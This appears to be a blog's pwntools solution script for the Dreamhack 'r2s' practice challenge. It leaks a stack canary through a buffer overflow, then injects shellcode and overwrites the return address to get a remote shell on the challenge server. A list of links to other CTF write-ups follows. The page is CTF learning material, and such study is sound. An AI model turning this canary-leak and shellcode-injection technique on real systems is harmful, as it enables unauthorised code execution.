#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#p = process("./r2s")
p = remote('host3.dreamhack.games', 17569)
p.recvuntil(b'Address of the buf: ')
buf = int(p.recvuntil('\n'), 16)
log.info(b'printf: ', hex(buf))
distance = 96
# canary leak
payload = b'B'*(0x60-0x8)+b'A'
p.sendafter(b'Input: ', payload)
#gdb.attach(p)
p.recvuntil(b'A')
canary = u64(b'\x00'+p.recv(7))
log.info('canary: ', hex(canary))
shellcode = asm(shellcraft.sh())
payload = shellcode
payload += b'A'*(0x60-0x8-len(shellcode))
payload += p64(canary)
payload += b'B'*0x8
payload += p64(buf)
p.sendlineafter(b'Input: ', payload)
p.interactive()
Dreamhack CTF Season 7 Round #6 (🌱Div2) struct person_t (0) | 2025.03.30 |
---|---|
[Dreamhack] Firmware Extraction Practice (1) | 2024.03.05 |
[Dreamhack] Return Address Overwrite (0) | 2024.03.01 |
[Dreamhack] off_by_one_001 (0) | 2024.02.19 |
[Dreamhack] bof (0) | 2024.02.16 |